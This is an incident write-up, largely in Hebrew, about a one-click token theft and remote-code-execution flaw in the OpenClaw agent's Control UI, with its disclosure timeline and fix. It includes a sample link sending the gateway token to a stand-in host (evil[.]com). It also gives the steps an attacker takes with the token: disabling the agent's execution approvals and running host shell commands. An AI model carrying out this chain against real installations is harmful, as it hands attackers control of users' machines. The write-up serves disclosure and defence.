איור עריכתי מופשט בגוון כחול־נייבי כהה: חלון דפדפן בצד שמאל מותיר אחריו סרט זוהר של מחרוזת שאילתה שמתעקל על פני פער כהה אל צומת אסימון בענבר, וקו דק מהאסימון ממשיך לנקודת קצה נפרדת בצד ימין. הטקסט היחיד הוא תווית קטנה באומרה 'מחרוזת שאילתה > אסימון > שער'. אין אנשים, אין לוגואים.
AI Safety Incidents

חטיפת WebSocket ב-OpenClaw Control UI: קישור אחד ל-RCE

מחבר

Gideon Frost

תאריך פרסום

מודלים אחרונים · 20צפו בכל המודלים →
בנצ'מרקים: Artificial Analysis · מתעדכן יומית
חזרה לכל הפוסטים

ב-29 בינואר 2026 פרסמה חברת האבטחה Ethiack את תיאורה של פגיעות ב-OpenClaw, סוכן ה-AI האישי בקוד פתוח שרץ על המחשב של המשתמש עצמו ומופעל מלוח מחוונים בדפדפן בשם Control UI. קישור מעוצב יכול היה לגרום ללוח המחוונים למסור לתוקף את אסימון האימות של השער, ואיתו את היכולת להריץ פקודות מעטפת כמשתמש המחובר. CVE-2026-25253 הופיע ב-1 בפברואר 2026, והייעוץ של הפרויקט עצמו יום לאחר מכן, כששניהם מדרגים את הפגיעות 8.8, גבוה. כל פריסה שבה מישהו התחבר ל-Control UI הייתה בהיקף, כולל מופעים שנגישים רק דרך loopback. אף מקור שנקרא עבור מאמר זה לא מתעד שהפגיעות נוצלה נגד משתמש אמיתי. הארכיון מתעד את הפרשה כאירוע תשתית בדרגת חומרה גבוהה עם דירוג מהימנות B ותאריך מדויק ליום של 29 בינואר 2026, לצד רשומות אבטחת סוכנים אחרות שלו ב-Orca AI Incident Archive.

מה ממשק הבקרה עשה עם כתובת URL

OpenClaw הוא סוכן באחסון עצמי שאליו המשתמשים מגיעים דרך אפליקציות הודעות ולוח בקרה אינטרנטי, ופועל עם מה שהמאמר של Ethiack מכנה "גישה מלאה למערכת". הפרויקט כבר שונה שמו יותר מפעם אחת, ונשא את השמות Clawdbot ו-Moltbot לפני OpenClaw, ורישום ה-npm מתעד את openclaw כחבילה שנוצרה ב-29 בינואר 2026 בשעה 11:08 UTC. לוח הבקרה הוא החלק החשוב כאן: הוא שמר את אסימון השער באחסון הדפדפן, ושם שכן הפגם.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

שתי עובדות דפדפן הופכות את הדליפה להשתלטות. דפדפנים אינם מיישמים את מדיניות המקור-הזהה על חיבורי WebSocket כפי שהם עושים בבקשות HTTP רגילות, והשער לא אימת את כותרת Origin במהלך השדרוג, כך ש-JavaScript בעמוד שהקורבן ביקר בו יכול היה לפתוח סוקט ישירות אל ws://localhost:18789 (depthfirst, 1 בפברואר 2026). מכיוון שהדפדפן של הקורבן עצמו יוצר את החיבור היוצא, המתקפה הגיעה לשערים המאזינים ל-loopback ואינם נראים מהרשת. "פגיעות זו ניתנת לניצול אפילו במופעים המוגדרים להאזין ל-loopback בלבד, מכיוון שהדפדפן של הקורבן יוזם את החיבור היוצא," נאמר בהודעת הייעוץ של הפרויקט. Ethiack תיעדה בזמנו תנאי נוסף: גרסת Chrome היציבה שנבדקה לא כללה כברירת מחדל את הרשאת Local Network Access, כך שהדפדפן גם לא הציג בקשה.

מה שהטוקן הגנוב מעניק הוא המשך הסיפור. הוא נשא את הרשאות operator.admin ו-operator.approvals. בעזרתן, תוקף יכול היה לכבות אישורי הרצה על ידי הגדרת exec.approvals.set ל-"off", להעביר את מארח ההרצה אל מחוץ לקונטיינר על ידי הגדרת tools.exec.host ל-"gateway", ולאחר מכן להריץ פקודות shell במארח באמצעות בקשת node.invoke / system.run (depthfirst, 1 בפברואר 2026; The Hacker News, 2 בפברואר 2026). הודעת הספק מסכמת את התוצאה במשפט אחד: התוקף יכול "לשנות קונפיגורציה (סנדבוקס, מדיניות כלים), ולהפעיל פעולות בעלות הרשאות, ובכך להשיג RCE בלחיצה אחת".

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

נמצא בפחות משעתיים, על ידי מכונה

הגילוי עצמו היה תרגיל בינה מלאכותית. Ethiack שחררה את סוכן בדיקות החדירה האוטונומי שלה, Hackian, על מופע חי של OpenClaw ב-26 בינואר 2026 בשעה 13:21 UTC. היא אישרה את הפגם בשעה 15:05 UTC, כעבור כשעה וארבעים דקות, וזה הנתון שמופיע בכותרת הפרסום של Ethiack. החברה דיווחה עליו לתחזוקי OpenClaw בשעה 18:02 UTC. בקשת משיכה הגיעה לאחר מכן ב-27 בינואר, והתיקון הגיע לענף הראשי בערב 28 בינואר, לפי לוח הזמנים שפרסמה Ethiack והיסטוריית הקומיטים של הפרויקט.

צוות שני הגיע לאותה מסקנה באופן עצמאי. מאב לוין, חוקר אבטחה מייסד ב-depthfirst, פרסם ניתוח משלו ב-1 בפברואר 2026, וכתב כי "צוות OpenClaw טיפל במהירות ותיקן את הבעיה שדיווחתי עליה" וכי מישהו אחר דיווח באופן עצמאי על אותו באג. הודעת הייעוץ של GitHub מייחסת את הדיווח ל-DepthFirstDisclosures ומפרטת גם את 0xacb וגם mavlevin בין המגלים. חשבון 0xacb נושא את שם הפרופיל André Baptista, אחד משלושת המחברים המשותפים של הניתוח של Ethiack, מה שמתיישב עם ציר הזמן: בקשת המשיכה של Ethiack נגד התיקון נפתחה מחשבון זה ב-27 בינואר, והקומיט של המתחזקים מודה לו בשמו. אף מקור שנקרא עבור מאמר זה לא אומר ששני המאמצים ידעו זה על זה לפני הפרסום, ואף אחד לא חולק על הקרדיט.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

תאריך הרשומה, והתאריכים שסביבו

הארכיון מתארך רשומה זו ל-29 בינואר 2026 ברמת דיוק של יום, וזה תואם ליום שבו המחקר של Ethiack הפך לציבורי. תיקון הקוד כבר נכנס יום קודם. המהדורה המתויגת שנשאה אותו הגיעה בשעות המוקדמות של 30 בינואר UTC, שהוא הערב של 29 בינואר לפי שעון האוקיינוס השקט בארה"ב: npm רושם את גרסה 2026.1.29 בשעה 04:49 UTC ב-30 בינואר ואת מהדורת GitHub בשעה 05:26 UTC. רשומת ה-CVE של MITRE מתוארכת ל-1 בפברואר 2026 בשעה 22:34 UTC, ייעוץ GitHub ל-2 בפברואר בשעה 23:41 UTC, ו-The Hacker News פרסם את הפגם ב-2 בפברואר.

המקור המצוטט ברשומה, מעקב אירועי הסוכנים של Permission Protocol, מנהל ציר זמן משלו, וחלקים ממנו מאחרים. הוא ממקם את מהדורת התיקון ב-2026-01-29, בהתאם למספר הגרסה, אך מתארך את "הדיווחים המוקדמים" על הפגיעות ל-2026-02-12 ואת החשיפה הציבורית הרחבה של CVE-2026-25253 ל-2026-02-26, עם סקירות עצמאיות ב-2026-03-24. המסמכים הראשוניים אומרים אחרת. התאריך 26 בפברואר תואם לניתוח התיקון של SonicWall, שפורסם שלושה וחצי שבועות לאחר שהמזהה היה קיים, וה-12 בפברואר נופל בין שני כתבי המחקר לניתוח הספק ולא לפניהם. השורה האחרונה בציר הזמן של הטרקר גם מכנה את המנגנון "zero-click"; ייעוץ הספק מכנה אותו 1-click, וכל דיווח שפורסם מתאר קורבן שעליו לפתוח קישור. במקומות שבהם התאריכים והתוויות הללו שונים, מאמר זה הולך אחר רשומת ה-CVE, ייעוץ הספק ושני כתבי המחקר.

יש להבהיר בגלוי אזהרה אחת לגבי אותו מקור. Permission Protocol מוכרת שער הרשאה, והרשומה שלה ממסגרת את התקרית סביב מה שהמוצר שלה עצמה היה חוסם. העמוד מגדיר את ההערכה הזו כתלוית תנאי ואומר על עצמו ש"המקור אינו מבסס תוצאת מניעה של המוצר". מה שהתיעוד כן נושא במדויק הוא המסגור שלו: המחקר היה פומבי שלושה ימים לפני שה-CVE היה קיים, ולכן הארכיון מכנה זאת גילוי מוקדם לפני CVE-2026-25253.

מה בעצם נפגע

לא דבר, ככל שמתעד מקור כלשהו. הארכיון מסמן את הרשומה real_harm false, וזה עקבי עם כל מה שפורסם סביבה. מרכז הסייבר של בלגיה פרסם התראה ב-2 בפברואר 2026 ובה נאמר: "נכון לעכשיו אין ראיות לכך שפגיעות זו נוצלה בשטח". לא Ethiack, לא depthfirst, לא SonicWall ולא The Hacker News מדווחים על קורבן, על התקנה שנפרצה או על נתונים שנלקחו, ואף אחד מהם לא נוקב במספר כמה התקנות היו חשופות. Ethiack מציין רק שהיו "המון מופעים שרצו על שרתים ציבוריים" עם תצורה חלשה, וזו התרשמות ולא ספירה.

מה שכן קיים הוא קוד ניצול עובד. Ethiack פרסמה את קוד המקור המלא של הניצול לצד המאמר שלה והדגימה את השרשרת נגד המופע שלה. הניתוח של SonicWall מפברואר מראה לכידת טוקן "באמצעות ניצול זמין לציבור". מאגר הוכחת היתכנות של צד שלישי הופיע ב-GitHub ב-9 במרץ 2026. קוד ניצול ציבורי אינו זהה לניצול בפועל, ודגל הנזק של הארכיון עוסק בדבר האחרון.

מקור אחד רופף יותר מהשאר וראוי לציון. פרק הסיכונים בהמלצה הבלגית מתאר את הבוט עצמו כמי שמציג תוכן בשליטת התוקף כטריגר, וזה אינו המנגנון בהודעת הספק או באף אחד משני כתבי המחקר: בכל שלושת המקרים, הדפדפן של הקורבן מפותה אל קישור והסוכן הוא היעד, לא כלי ההעברה. הצהרת הניצול שלה היא החלק הראוי לציטוט; סיכום המנגנון שלה אינו.

מה השתנה, ומה התיקון הראשון הותיר פתוח

התיקון ב-2026.1.29 הוסיף תיבת דו-שיח לאישור לפני ש-Control UI יעבור לכתובת gateway URL אחרת. הייעוץ של הפרויקט מתאר את השינוי כך: "עם השינוי, משתמשים כעת צריכים לאשר את כתובת ה-gateway URL החדשה בממשק", והקובץ שמציג את תיבת הדו-שיח קיים בתג v2026.1.29. הדבר מעלה את עלות המתקפה מלחיצה אחת ללחיצה אחת בתוספת אישור מכוון. הוא אינו מסיר את האמון הבסיסי בפרמטר URL.

אימות Origin, החצי השני של השרשרת, הגיע מאוחר יותר. ניתוח הטלאים של SonicWall מתעד ש"עדכונים מאוחרים יותר יישמו בקרות אימות Origin מחמירות", ומפרט ארבע בדיקות: דחיית כותרת Origin חסרה או לא חוקית; אישור מארח Origin התואם לכותרת Host; אישור loopback ל-loopback; אישור מקורות הנקובים ברשימת allowedOrigins מוגדרת; ודחיית כל השאר. הרצף נראה בקוד המקור של הפרויקט בתג v2026.1.29, שבו מטפל שדרוג ה-WebSocket קורא ורושם את כותרת ה-Origin מבלי להחיל עליה מדיניות.

תגובות אחרות היו זיהוי ולא קוד. SonicWall שחררה חתימת IPS 21908 למה שהיא מכנה חשיפת נתונים רגישים של OpenClaw. depthfirst המליצה לשדרג ולבצע רוטציה של אסימון השער אם עלה חשד לחשיפה, מה שנובע ישירות מהמנגנון: אסימון שנגנב נשאר תקף עד שמישהו משנה אותו.

מה מבוסס, ומה לא

נקבע, על סמך מסמכים ראשוניים: מסלול הקוד הפגיע קרא את gatewayUrl ממחרוזת השאילתה והתחבר אוטומטית ללא אימות; מסגרת החיבור נשאה את האסימון השמור; השער לא אימת את מקור ה-WebSocket, כך שדפדפן בכל אתר יכול היה להגיע ל-loopback; האסימון נשא הרשאות ניהול ואישור; גרסאות לפני 2026.1.29 היו מושפעות; ושני צוותים מצאו את הפגם באופן עצמאי, אחד מהם סוכן אוטונומי שפעל מבחוץ.

לא הוכח: שאיש ניצל אותו, כמה התקנות היו נגישות באותו זמן, והאם דיאלוג האישור לבדו היה מספיק כדי לסכל תוקף נחוש. ציון B של הארכיון משקף בסיס ציטוטים של מקור מעקב משני אחד בלבד, ולא ספק כלשהו לגבי המכניקה, והרשומה אינה מסומנת כשנויה במחלוקת. מכניקה זו מאומתת על ידי ייעוץ הספק, על ידי רשומת ה-CVE של MITRE ועל ידי שני כתבי מחקר עצמאיים — יותר ממה שהרשומה עצמה טוענת בכוחות עצמה.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

סיכום השורה של הארכיון מכנה זאת גילוי מוקדם לפני CVE-2026-25253, וזו הדרך הנכונה לקרוא את הרשומה: תיעוד של פגם שנמצא, דווח ותוקן לפני שהיה לו מזהה, במוצר שנבנה להריץ פקודות על המכונה שעליה הוא פועל. ה-CVE שבא לאחר מכן מתאר את אותן שלוש התנהגויות — פרמטר שאילתה, חיבור ללא בקשה ואסימון בלחיצת היד — ואף מקור שנקרא עבור הקטע הזה לא מציב איש בצד השני של זה.